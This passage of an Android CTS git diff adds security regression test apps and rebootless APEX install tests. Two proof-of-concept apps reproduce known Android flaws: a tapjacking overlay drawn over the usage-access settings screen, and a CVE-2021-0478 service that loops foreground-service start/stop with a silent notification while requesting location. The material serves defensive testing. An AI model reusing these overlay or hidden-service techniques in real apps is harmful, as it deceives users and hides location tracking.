mContext.getPackageManager().getLaunchIntentForPackage( + Constants.TEST_APP_PACKAGE); + intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); + mContext.startActivity(intent); + + // Wait for the app to appear + UiObject2 view = waitForView(By.pkg(Constants.TEST_APP_PACKAGE).depth(0)); + assertNotNull("test-app did not appear!", view); + Log.d(LOG_TAG, "test-app appeared"); + } + + private void launchTapjackedActivity() { + Intent intent = new Intent(); + intent.setAction("android.settings.USAGE_ACCESS_SETTINGS"); + intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK | Intent.FLAG_ACTIVITY_NEW_TASK); + mContext.startActivity(intent); + + UiObject2 view = waitForView(By.text(Constants.TEST_APP_PACKAGE)); + assertNotNull("Activity under-test was not launched or found!", view); + Log.d(LOG_TAG, "Started Activity under-test."); + } + + private UiObject2 waitForView(BySelector selector) { + return mDevice.wait(Until.findObject(selector), WAIT_FOR_UI_TIMEOUT); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/MainActivity.java b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/MainActivity.java new file mode 100644 index 00000000000..597423dc730 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/MainActivity.java @@ -0,0 +1,85 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package android.security.cts.BUG_183963253; + +import static android.security.cts.BUG_183963253.Constants.LOG_TAG; + +import android.app.AlertDialog; +import android.content.BroadcastReceiver; +import android.content.Context; +import android.content.Intent; +import android.content.IntentFilter; +import android.os.Bundle; +import android.os.Handler; +import android.os.Looper; +import android.util.Log; +import android.view.Gravity; +import android.view.WindowManager.LayoutParams; +import android.widget.Button; +import android.widget.ImageView; +import android.widget.SeekBar; +import android.widget.Toast; + +import androidx.annotation.Nullable; +import androidx.appcompat.app.AppCompatActivity; + +import java.util.ArrayList; + +/** Main activity for the test-app. */ +public final class MainActivity extends AppCompatActivity { + + private final BroadcastReceiver mReceiver = new BroadcastReceiver() { + public void onReceive(Context context, Intent intent) { + startTapjacking(); + } + }; + + private Button btnStart; + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.activity_main); + + registerReceiver(mReceiver, new IntentFilter(Constants.ACTION_START_TAPJACKING)); + + btnStart = (Button) findViewById(R.id.btnStart); + btnStart.setOnClickListener(v -> startTapjacking()); + } + + @Override + protected void onDestroy() { + super.onDestroy(); + unregisterReceiver(mReceiver); + stopOverlayService(); + } + + public void startTapjacking() { + Log.d(LOG_TAG, "Starting tap-jacking flow."); + stopOverlayService(); + + startOverlayService(); + Log.d(LOG_TAG, "Started overlay-service."); + } + + private void startOverlayService() { + startService(new Intent(getApplicationContext(), OverlayService.class)); + } + + private void stopOverlayService() { + stopService(new Intent(getApplicationContext(), OverlayService.class)); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/OverlayService.java b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/OverlayService.java new file mode 100644 index 00000000000..ec21f0bf4e9 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/OverlayService.java @@ -0,0 +1,95 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.BUG_183963253; + +import android.app.Service; +import android.content.Intent; +import android.content.res.Resources; +import android.graphics.PixelFormat; +import android.os.Handler; +import android.os.IBinder; +import android.os.Looper; +import android.provider.Settings; +import android.util.DisplayMetrics; +import android.util.Log; +import android.view.Gravity; +import android.view.WindowManager; +import android.widget.Button; + +/** Service that starts the overlay for the test. */ +public final class OverlayService extends Service { + public Button mButton; + private WindowManager mWindowManager; + private WindowManager.LayoutParams mLayoutParams; + + @Override + public void onCreate() { + Log.d(Constants.LOG_TAG, "onCreate() called"); + super.onCreate(); + + DisplayMetrics displayMetrics = Resources.getSystem().getDisplayMetrics(); + int scaledWidth = (int) (displayMetrics.widthPixels * 0.9); + int scaledHeight = (int) (displayMetrics.heightPixels * 0.9); + + mWindowManager = getSystemService(WindowManager.class); + mLayoutParams = new WindowManager.LayoutParams(); + mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY; + mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL + | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE; + mLayoutParams.format = PixelFormat.OPAQUE; + mLayoutParams.gravity = Gravity.CENTER; + mLayoutParams.width = scaledWidth; + mLayoutParams.height = scaledHeight; + mLayoutParams.x = scaledWidth / 2; + mLayoutParams.y = scaledHeight / 2; + } + + @Override + public IBinder onBind(Intent intent) { + return null; + } + + @Override + public int onStartCommand(Intent intent, int flags, int startId) { + Log.d(Constants.LOG_TAG, "onStartCommand() called"); + showFloatingWindow(); + return super.onStartCommand(intent, flags, startId); + } + + @Override + public void onDestroy() { + Log.d(Constants.LOG_TAG, "onDestroy() called"); + if (mWindowManager != null && mButton != null) { + mWindowManager.removeView(mButton); + } + super.onDestroy(); + } + + private void showFloatingWindow() { + if (!Settings.canDrawOverlays(this)) { + Log.w(Constants.LOG_TAG, "Cannot show overlay window. Permission denied"); + } + + mButton = new Button(getApplicationContext()); + mButton.setText(getResources().getString(R.string.tapjacking_text)); + mButton.setTag(mButton.getVisibility()); + mWindowManager.addView(mButton, mLayoutParams); + + new Handler(Looper.myLooper()).postDelayed(this::stopSelf, 60_000); + Log.d(Constants.LOG_TAG, "Floating window button created"); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/Android.bp new file mode 100644 index 00000000000..16094cadf20 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/Android.bp @@ -0,0 +1,33 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +android_test_helper_app { + name: "CVE-2021-0478", + defaults: [ + "cts_support_defaults", + ], + srcs: [ + "src/android/security/cts/CVE_2021_0478/PocActivity.java", + "src/android/security/cts/CVE_2021_0478/PocService.java", + ], + test_suites: [ + "cts", + "vts10", + "sts", + ], + sdk_version: "current", +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/AndroidManifest.xml new file mode 100644 index 00000000000..d8ec56cbffe --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/AndroidManifest.xml @@ -0,0 +1,44 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="android.security.cts.cve_2021_0478" + android:versionCode="1" + android:versionName="1.0"> + + <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /> + <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> + <uses-permission android:name="android.permission.FOREGROUND_SERVICE" /> + <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" /> + <uses-permission android:name="android.permission.WAKE_LOCK" /> + + <application + android:allowBackup="true" + android:label="CVE-2021-0478" + android:supportsRtl="true"> + <service + android:name=".PocService" + android:enabled="true" + android:exported="false" /> + + <activity android:name=".PocActivity"> + <intent-filter> + <action android:name="android.intent.action.MAIN" /> + <category android:name="android.intent.category.LAUNCHER" /> + </intent-filter> + </activity> + </application> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/res/layout/activity_main.xml new file mode 100644 index 00000000000..a85bec90a5a --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/res/layout/activity_main.xml @@ -0,0 +1,26 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<LinearLayout + xmlns:android="http://schemas.android.com/apk/res/android" + android:orientation="vertical" + android:layout_width="match_parent" + android:layout_height="match_parent"> + <View + android:id="@+id/drawableview" + android:layout_width="match_parent" + android:layout_height="300dp" /> +</LinearLayout> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/res/raw/image.jpg b/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/res/raw/image.jpg Binary files differnew file mode 100644 index 00000000000..b829548be8c --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/res/raw/image.jpg diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/src/android/security/cts/CVE_2021_0478/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/src/android/security/cts/CVE_2021_0478/PocActivity.java new file mode 100644 index 00000000000..65caacfca6f --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/src/android/security/cts/CVE_2021_0478/PocActivity.java @@ -0,0 +1,72 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.cve_2021_0478; + +import android.app.Activity; +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.Manifest; +import android.os.Bundle; +import android.os.PowerManager; +import android.os.PowerManager.WakeLock; + +public class PocActivity extends Activity { + private WakeLock mScreenLock; + private Context mContext; + + @Override + protected void onCreate(Bundle savedInstanceState) { + try { + mContext = this.getApplicationContext(); + PowerManager pm = mContext.getSystemService(PowerManager.class); + mScreenLock = pm.newWakeLock( + PowerManager.SCREEN_BRIGHT_WAKE_LOCK | PowerManager.ACQUIRE_CAUSES_WAKEUP, + "PocActivity"); + mScreenLock.acquire(); + super.onCreate(savedInstanceState); + setContentView(R.layout.activity_main); + startServices(); + } catch (Exception e) { + e.printStackTrace(); + } + + } + + void startServices() { + try { + startForegroundService(new Intent(this, PocService.class)); + requestPermission(); + } catch (Exception e) { + e.printStackTrace(); + } + } + + void requestPermission() { + try { + this.requestPermissions(new String[] {Manifest.permission.ACCESS_FINE_LOCATION}, 12); + } catch (Exception e) { + e.printStackTrace(); + } + } + + @Override + protected void onDestroy() { + super.onDestroy(); + mScreenLock.release(); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/src/android/security/cts/CVE_2021_0478/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/src/android/security/cts/CVE_2021_0478/PocService.java new file mode 100644 index 00000000000..dfcedca4a6b --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/src/android/security/cts/CVE_2021_0478/PocService.java @@ -0,0 +1,64 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.cve_2021_0478; + +import android.annotation.SuppressLint; +import android.app.Notification; +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.Service; +import android.content.Intent; +import android.graphics.drawable.Icon; +import android.os.IBinder; + +public class PocService extends Service { + + private static long SCAN_DURATION_MILLIS = 60000; + + public PocService() {} + + @Override + public IBinder onBind(Intent intent) { + return null; + } + + @Override + public void onCreate() { + super.onCreate(); + try { + NotificationManager notificationManager = + getSystemService(NotificationManager.class); + String id = "channel"; + NotificationChannel notificationChannel = + new NotificationChannel(id, " ", NotificationManager.IMPORTANCE_NONE); + notificationManager.createNotificationChannel(notificationChannel); + @SuppressLint("ResourceType") + Notification notification = new Notification.Builder(this, id) + .setSmallIcon(Icon.createWithResource(this, R.raw.image)) + .setContentTitle("hello").build(); + int notificationID = 31; + long startTime = System.currentTimeMillis(); + long endTime = startTime + SCAN_DURATION_MILLIS; + while (System.currentTimeMillis() < endTime) { + startForeground(notificationID, notification); + stopForeground(true); + } + } catch (Exception e) { + e.printStackTrace(); + } + } +} diff --git a/hostsidetests/stagedinstall/Android.bp b/hostsidetests/stagedinstall/Android.bp index 39618ffaf3c..2bab456ace5 100644 --- a/hostsidetests/stagedinstall/Android.bp +++ b/hostsidetests/stagedinstall/Android.bp @@ -70,6 +70,8 @@ android_test_helper_app { ":StagedInstallTestApexV2_NoApkSignature", ":StagedInstallTestApexV2_UnsignedPayload", ":StagedInstallTestApexV2_SignPayloadWithDifferentKey", + ":StagedInstallTestApexV2_Rebootless", + ":StagedInstallTestApexV3_Rebootless", ], static_libs: [ "androidx.test.runner", @@ -559,6 +561,46 @@ prebuilt_apex { installable: false, } +prebuilt_apex { + name: "StagedInstallTestApexV2_Rebootless", + arch: { + arm: { + src: "testdata/apex/arm/com.android.apex.cts.shim.v2_rebootless.apex", + }, + arm64: { + src: "testdata/apex/arm/com.android.apex.cts.shim.v2_rebootless.apex", + }, + x86: { + src: "testdata/apex/x86/com.android.apex.cts.shim.v2_rebootless.apex", + }, + x86_64: { + src: "testdata/apex/x86/com.android.apex.cts.shim.v2_rebootless.apex", + }, + }, + filename: "com.android.apex.cts.shim.v2_rebootless.apex", + installable: false, +} + +prebuilt_apex { + name: "StagedInstallTestApexV3_Rebootless", + arch: { + arm: { + src: "testdata/apex/arm/com.android.apex.cts.shim.v3_rebootless.apex", + }, + arm64: { + src: "testdata/apex/arm/com.android.apex.cts.shim.v3_rebootless.apex", + }, + x86: { + src: "testdata/apex/x86/com.android.apex.cts.shim.v3_rebootless.apex", + }, + x86_64: { + src: "testdata/apex/x86/com.android.apex.cts.shim.v3_rebootless.apex", + }, + }, + filename: "com.android.apex.cts.shim.v3_rebootless.apex", + installable: false, +} + // collects deapexer and its dependency modules (libc++ and debugfs_static) to the zip file. genrule { name: "deapexer.zip", diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/ApexShimValidationTest.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/ApexShimValidationTest.java index f8eabdb29db..712c5636c16 100644 --- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/ApexShimValidationTest.java +++ b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/ApexShimValidationTest.java @@ -105,6 +105,64 @@ public class ApexShimValidationTest { assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1); } + @Test + public void testRejectsApexWithAdditionalFile_rebootless() throws Exception { + assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1); + TestApp apex = new TestApp("ShimApex", SHIM_APEX_PACKAGE_NAME, 2, + true, "com.android.apex.cts.shim.v2_additional_file.apex"); + InstallUtils.commitExpectingFailure( + AssertionError.class, + "is an unexpected file inside the shim apex", + Install.single(apex)); + assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1); + } + + @Test + public void testRejectsApexWithAdditionalFolder_rebootless() throws Exception { + assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1); + TestApp apex = new TestApp("ShimApex", SHIM_APEX_PACKAGE_NAME, 2, + true, "com.android.apex.cts.shim.v2_additional_folder.apex"); + InstallUtils.commitExpectingFailure( + AssertionError.class, + "is an unexpected file inside the shim apex", + Install.single(apex)); + assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1); + } + + @Test + public void testRejectsApexWithPostInstallHook_rebootless() throws Exception { + assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1); + TestApp apex = new TestApp("ShimApex", SHIM_APEX_PACKAGE_NAME, 2, + true, "com.android.apex.cts.shim.v2_with_post_install_hook.apex"); + InstallUtils.commitExpectingFailure( + AssertionError.class, + "Shim apex is not allowed to have pre or post install hooks", + Install.single(apex)); + assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1); + } + + @Test + public void testRejectsApexWithPreInstallHook_rebootless() throws Exception { + assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1); + TestApp apex = new TestApp("ShimApex", SHIM_APEX_PACKAGE_NAME, 2, + true, "com.android.apex.cts.shim.v2_with_pre_install_hook.apex"); + InstallUtils.commitExpectingFailure( + AssertionError.class, + "Shim apex is not allowed to have pre or post install hooks", + Install.single(apex)); + assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1); + } + + @Test + public void testRejectsApexWrongSHA_rebootless() throws Exception { + assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1); + TestApp apex = new TestApp("ShimApex", SHIM_APEX_PACKAGE_NAME, 2, + true, "com.android.apex.cts.shim.v2_wrong_sha.apex"); + InstallUtils.commitExpectingFailure( + AssertionError.class, "has unexpected SHA512 hash", Install.single(apex)); + assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1); + } + private static int stageApex(String apexFileName) throws Exception { TestApp apexTestApp = new TestApp("ShimApex", SHIM_APEX_PACKAGE_NAME, 2, true, apexFileName); diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java index 24501e3cf28..e7d419b4edd 100644 --- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java +++ b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java @@ -166,6 +166,12 @@ public class StagedInstallTest { private static final TestApp Apex2SignPayloadWithDifferentKey = new TestApp( "StagedInstallTestApexV2_SignPayloadWithDifferentKey", SHIM_APEX_PACKAGE_NAME, 1, /*isApex*/true, "com.android.apex.cts.shim.v2_sign_payload_with_different_key.apex"); + private static final TestApp Apex2Rebootless = new TestApp( + "StagedInstallTestApexV2_Rebootless", SHIM_APEX_PACKAGE_NAME, 2, + /*isApex*/true, "com.android.apex.cts.shim.v2_rebootless.apex"); + private static final TestApp Apex3Rebootless = new TestApp( + "StagedInstallTestApexV3_Rebootless", SHIM_APEX_PACKAGE_NAME, 3, + /*isApex*/true, "com.android.apex.cts.shim.v3_rebootless.apex"); @Before public void adoptShellPermissions() { @@ -1258,6 +1264,173 @@ public class StagedInstallTest { assertThat(isUpdatedSystemApp).isTrue(); } + @Test + public void testRebootlessUpdate() throws Exception { + InstallUtils.dropShellPermissionIdentity(); + InstallUtils.adoptShellPermissionIdentity(Manifest.permission.INSTALL_PACKAGE_UPDATES); + + final PackageManager pm = + InstrumentationRegistry.getInstrumentation().getContext().getPackageManager(); + { + PackageInfo apex = pm.getPackageInfo(SHIM_APEX_PACKAGE_NAME, PackageManager.MATCH_APEX); + assertThat(apex.getLongVersionCode()).isEqualTo(1); + assertThat(apex.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) + .isEqualTo(ApplicationInfo.FLAG_SYSTEM); + assertThat(apex.applicationInfo.flags & ApplicationInfo.FLAG_INSTALLED) + .isEqualTo(ApplicationInfo.FLAG_INSTALLED); + assertThat(apex.applicationInfo.sourceDir).startsWith("/system/apex"); + } + + Install.single(Apex2Rebootless).commit(); + { + PackageInfo apex = pm.getPackageInfo(SHIM_APEX_PACKAGE_NAME, PackageManager.MATCH_APEX); + assertThat(apex.getLongVersionCode()).isEqualTo(2); + assertThat(apex.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM).isEqualTo(0); + assertThat(apex.applicationInfo.flags & ApplicationInfo.FLAG_INSTALLED) + .isEqualTo(ApplicationInfo.FLAG_INSTALLED); + assertThat(apex.applicationInfo.sourceDir).startsWith("/data/apex/active"); + } + { + PackageInfo apex = pm.getPackageInfo(SHIM_APEX_PACKAGE_NAME, + PackageManager.MATCH_APEX | PackageManager.MATCH_FACTORY_ONLY); + assertThat(apex.getLongVersionCode()).isEqualTo(1); + assertThat(apex.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) + .isEqualTo(ApplicationInfo.FLAG_SYSTEM); + assertThat(apex.applicationInfo.flags & ApplicationInfo.FLAG_INSTALLED).isEqualTo(0); + assertThat(apex.applicationInfo.sourceDir).startsWith("/system/apex"); + } + } + + @Test + public void testRebootlessUpdate_installV3() throws Exception { + InstallUtils.dropShellPermissionIdentity(); + InstallUtils.adoptShellPermissionIdentity(Manifest.permission.INSTALL_PACKAGE_UPDATES); + + final PackageManager pm = + InstrumentationRegistry.getInstrumentation().getContext().getPackageManager(); + + Install.single(Apex3Rebootless).commit(); + { + PackageInfo apex = pm.getPackageInfo(SHIM_APEX_PACKAGE_NAME, PackageManager.MATCH_APEX); + assertThat(apex.getLongVersionCode()).isEqualTo(3); + assertThat(apex.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM).isEqualTo(0); + assertThat(apex.applicationInfo.flags & ApplicationInfo.FLAG_INSTALLED) + .isEqualTo(ApplicationInfo.FLAG_INSTALLED); + assertThat(apex.applicationInfo.sourceDir).startsWith("/data/apex/active"); + } + { + PackageInfo apex = pm.getPackageInfo(SHIM_APEX_PACKAGE_NAME, + PackageManager.MATCH_APEX | PackageManager.MATCH_FACTORY_ONLY); + assertThat(apex.getLongVersionCode()).isEqualTo(1); + assertThat(apex.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) + .isEqualTo(ApplicationInfo.FLAG_SYSTEM); + assertThat(apex.applicationInfo.flags & ApplicationInfo.FLAG_INSTALLED).isEqualTo(0); + assertThat(apex.applicationInfo.sourceDir).startsWith("/system/apex"); + } + } + + @Test + public void testRebootlessUpdate_downgradeToV2_fails() throws Exception { + InstallUtils.dropShellPermissionIdentity(); + InstallUtils.adoptShellPermissionIdentity(Manifest.permission.INSTALL_PACKAGE_UPDATES); + + final PackageManager pm = + InstrumentationRegistry.getInstrumentation().getContext().getPackageManager(); + + { + PackageInfo apex = pm.getPackageInfo(SHIM_APEX_PACKAGE_NAME, PackageManager.MATCH_APEX); + assertThat(apex.getLongVersionCode()).isEqualTo(3); + assertThat(apex.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM).isEqualTo(0); + assertThat(apex.applicationInfo.flags & ApplicationInfo.FLAG_INSTALLED) + .isEqualTo(ApplicationInfo.FLAG_INSTALLED); + assertThat(apex.applicationInfo.sourceDir).startsWith("/data/apex/active"); + } + + InstallUtils.commitExpectingFailure( + AssertionError.class, + "Downgrade of APEX package com.android.apex.cts.shim is not allowed", + Install.single(Apex2Rebootless)); + assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3); + } + + @Test + public void testRebootlessUpdate_noPermission_fails() throws Exception { + InstallUtils.dropShellPermissionIdentity(); + + InstallUtils.commitExpectingFailure(SecurityException.class, + "Not allowed to perform APEX updates", + Install.single(Apex2Rebootless)); + assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1); + } + + @Test + public void testRebootlessUpdate_noPreInstalledApex_fails() throws Exception { + assertThat(getInstalledVersion(DIFFERENT_APEX_PACKAGE_NAME)).isEqualTo(-1); + assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1); + + InstallUtils.commitExpectingFailure( + AssertionError.class, + "It is forbidden to install new APEX packages", + Install.single(Apex2DifferentPackageName)); + assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1); + } + + @Test + public void testRebootlessUpdate_unsignedPayload_fails() throws Exception { + assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1); + + InstallUtils.commitExpectingFailure( + AssertionError.class, + "AVB footer verification failed", + Install.single(Apex2UnsignedPayload)); + assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1); + } + + @Test + public void testRebootlessUpdate_payloadSignedWithDifferentKey_fails() throws Exception { + assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1); + + InstallUtils.commitExpectingFailure( + AssertionError.class, + "public key doesn't match the pre-installed one", + Install.single(Apex2SignPayloadWithDifferentKey)); + assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1); + } + + @Test + public void testRebootlessUpdate_outerContainerSignedWithDifferentCert_fails() + throws Exception { + assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1); + + InstallUtils.commitExpectingFailure( + AssertionError.class, + "APK container signature of .+ is not compatible with currently installed", + Install.single(Apex2DifferentCertificate)); + assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1); + } + + @Test + public void testRebootlessUpdate_outerContainerUnsigned_fails() throws Exception { + assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1); + + InstallUtils.commitExpectingFailure( + AssertionError.class, + "Failed collecting certificates for", + Install.single(Apex2NoApkSignature)); + assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1); + } + + @Test + public void testRebootlessUpdate_targetsOlderSdk_fails() throws Exception { + assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1); + + InstallUtils.commitExpectingFailure( + AssertionError.class, + "Requires development platform P", + Install.single(Apex2SdkTargetP)); + assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1); + } + // It becomes harder to maintain this variety of install-related helper methods. // TODO(ioffe): refactor install-related helper methods into a separate utility. private static int createStagedSession() throws Exception { diff --git a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/ApexShimValidationTest.java b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/ApexShimValidationTest.java index dba49e91d77..ef03c1fda4c 100644 --- a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/ApexShimValidationTest.java +++ b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/ApexShimValidationTest.java @@ -210,6 +210,31 @@ public class ApexShimValidationTest extends BaseHostJUnit4Test { runPhase("testInstallRejected_VerifyPostReboot"); } + @Test + public void testRejectsApexWithAdditionalFile_rebootless() throws Exception { + runPhase("testRejectsApexWithAdditionalFile_rebootless"); + } + + @Test + public void testRejectsApexWithAdditionalFolder_rebootless() throws Exception { + runPhase("testRejectsApexWithAdditionalFolder_rebootless"); + } + + @Test + public void testRejectsApexWithPostInstallHook_rebootless() throws Exception { + runPhase("testRejectsApexWithPostInstallHook_rebootless"); + } + + @Test + public void testRejectsApexWithPreInstallHook_rebootless() throws Exception { + runPhase("testRejectsApexWithPreInstallHook_rebootless"); + } + + @Test + public void testRejectsApexWrongSHA_rebootless() throws Exception { + runPhase("testRejectsApexWrongSHA_rebootless"); + } + /** * Extracts {@link #DEAPEXER_ZIP_FILE_NAME} into the destination folder. Updates executable * attribute for the binaries of deapexer and debugfs_static. diff --git a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java index b9b12a25a4c..73e832e0589 100644 --- a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java +++ 